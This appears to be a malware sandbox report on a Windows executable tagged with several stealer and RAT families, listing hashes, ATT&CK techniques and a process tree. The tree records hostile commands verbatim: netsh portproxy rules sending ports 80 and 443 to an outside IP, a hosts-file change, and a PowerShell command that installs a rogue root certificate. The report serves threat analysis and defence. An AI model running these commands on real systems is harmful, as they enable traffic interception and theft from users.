39911d2be6a0ffa61f76584cfb3e1a18ef951cbfc96b68a9116b59f0d0fdf745

Analysis

max time kernel
149s
max time network
136s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 22:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
Size 43.9MB
Sample261002-2p4afsvbrb
SHA256 39911d2be6a0ffa61f76584cfb3e1a18ef951cbfc96b68a9116b59f0d0fdf745
MD5 f1903a9062b69b9ad236d111d0d28e58
SHA1 aa3cc4b81924f06a3291b10b91ca1bbd940b3bfc
SHA512 af882249037063604dfa77d32d59eebe65cfa7495d55c4e2c150a139bb2c520c87cd2c7ce4f90c33511c149364497375f64cfaa52bb3315c15a571f0f122bf5c
SSDEEP 786432:SmpiD5JXAz+Tm83iyiDbkvWMRssQ2mSTBEdM6m1a+qLjP3C:fpiD5JXAz+S8SdD4+1sQ2ld1wD3
TLSH
T109A7330A23B150DDFE66E071CB53CA0AC2B6798A4376C61F052567666F33771A72F322
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe

Executes dropped EXE 1 IoCs

pid	Process
5732	Tlh0k7pYpgjGJfTb.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
1	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs

defense_evasion

Debugger Evasion

T1622

pid	Process
5732	Tlh0k7pYpgjGJfTb.exe
5732	Tlh0k7pYpgjGJfTb.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\server.crt	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4568	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 15 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5140	cmd.exe
4364	cmd.exe
5244	cmd.exe
4264	cmd.exe
5452	cmd.exe
1504	cmd.exe
2848	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe

Runs net.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4568	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 5140	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	89
PID 5140 wrote to memory of 4108	5140	cmd.exe	91
PID 4108 wrote to memory of 3104	4108	net.exe	92
PID 2088 wrote to memory of 4364	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	93
PID 4364 wrote to memory of 6072	4364	cmd.exe	95
PID 6072 wrote to memory of 3368	6072	net.exe	96
PID 2088 wrote to memory of 5244	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	97
PID 5244 wrote to memory of 4608	5244	cmd.exe	99
PID 2088 wrote to memory of 4264	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	100
PID 4264 wrote to memory of 1884	4264	cmd.exe	102
PID 2088 wrote to memory of 5452	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	103
PID 5452 wrote to memory of 3612	5452	cmd.exe	105
PID 2088 wrote to memory of 1504	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	106
PID 1504 wrote to memory of 412	1504	cmd.exe	108
PID 2088 wrote to memory of 2848	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	109
PID 2848 wrote to memory of 5324	2848	cmd.exe	111
PID 2088 wrote to memory of 4568	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	112
PID 2088 wrote to memory of 5732	2088	2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe	114

C:\Users\Admin\AppData\Local\Temp\2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-02_f1903a9062b69b9ad236d111d0d28e58_agent-tesla_amadey_icedid_luca-stealer_njrat.exe"
1⤵
- Drops file in Drivers directory
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\net.exe stop iphlpsvc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5140
- - C:\Windows\system32\net.exe
    C:\Windows\system32\net.exe stop iphlpsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop iphlpsvc
      4⤵
      PID:3104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\net.exe start iphlpsvc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\system32\net.exe
    C:\Windows\system32\net.exe start iphlpsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6072
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start iphlpsvc
      4⤵
      PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\netsh interface ip set dns "Loopback Pseudo-Interface 1" dhcp
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5244
- - C:\Windows\system32\netsh.exe
    C:\Windows\system32\netsh interface ip set dns "Loopback Pseudo-Interface 1" dhcp
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\netsh interface portproxy reset
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\netsh.exe
    C:\Windows\system32\netsh interface portproxy reset
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:1884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\netsh int ip add addr 1 185.100.87.146/32 st=ac sk=tr
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5452
- - C:\Windows\system32\netsh.exe
    C:\Windows\system32\netsh int ip add addr 1 185.100.87.146/32 st=ac sk=tr
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:3612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=82 connectaddress=3.109.49.130
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\system32\netsh.exe
    C:\Windows\system32\netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=82 connectaddress=3.109.49.130
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\system32\netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=443 connectaddress=3.109.49.130
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\netsh.exe
    C:\Windows\system32\netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=443 connectaddress=3.109.49.130
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Import-Certificate -FilePath 'C:\Windows\server.crt' -CertStoreLocation 'Cert:\LocalMachine\Root' -ErrorAction SilentlyContinue"
  2⤵
  - Enumerates connected drives
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4568
- C:\Users\Admin\AppData\Local\Temp\Tlh0k7pYpgjGJfTb.exe
  "C:\Users\Admin\AppData\Local\Temp\Tlh0k7pYpgjGJfTb.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5732

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Debugger Evasion

T1622

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Discovery

Debugger Evasion

T1622

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Tlh0k7pYpgjGJfTb.exe

Path C:\Users\Admin\AppData\Local\Temp\Tlh0k7pYpgjGJfTb.exe
Size 44.7MB
SHA256 9d4626db154bf66bb70d62be4788f320cb5dca260ac5f0cbb68ca427fb99cc1d
MD5 43273996ccd51b0e8bd823e422498b8a
SHA1 36638a62ec662d46ecaa7d4996c337cc3b7a3a2a
SHA512 b788e5a9bc24969f37a798b74be19100467522595564296856f3845153236b3553d127801fcd2347324d688fb277e2ff2218e6ea4b3180ad1e4d2fc928f003cb
SSDEEP 786432:EA1D0yqfyMUp/zuNC7DENq7PDjA2ubfwFTzCH/0MB6eIcjK2:E0wTfyl1u+ENoPvabfwUHUc2
TLSH
T113A722D968D051ECCBC1C534E34D0BFAE1E538B94DB9982ABFC618012E31D96C9A5E73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_52pjmlia.by1.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52pjmlia.by1.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

server.crt

Path C:\Windows\server.crt
Size 1KB
SHA256 47cc6b44e513652696d005cc6a897a4b75725387d230f5ed1803fb51db335b4c
MD5 5548eafaaf08f9175ec25fdca06e6287
SHA1 963ff0bdf25b00faa01ce93bfca01714623b5ebd
SHA512 382d871463c253f8231a8acda5f1ca5b2ab898b63f372c400663fba30a3a212c824906fa0f6239d58f3b6e9aa5a7359c70575c29c3102cf1d75cc63921784ce1
TLSH
T1C321A85A4FB15BA0D903D0F4833FA65ECCE3222156C161A325696E68DF2AC322659CCC
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4568-5-0x0000012020BE0000-0x0000012020C02000-memory.dmp

Download

memory/4568-9-0x0000012021050000-0x0000012021102000-memory.dmp

Download

memory/4568-8-0x0000012020DB0000-0x0000012020DCE000-memory.dmp

Download

memory/4568-10-0x0000012020DA0000-0x0000012020DAA000-memory.dmp

Download

memory/4568-11-0x0000012020DF0000-0x0000012020E0E000-memory.dmp

Download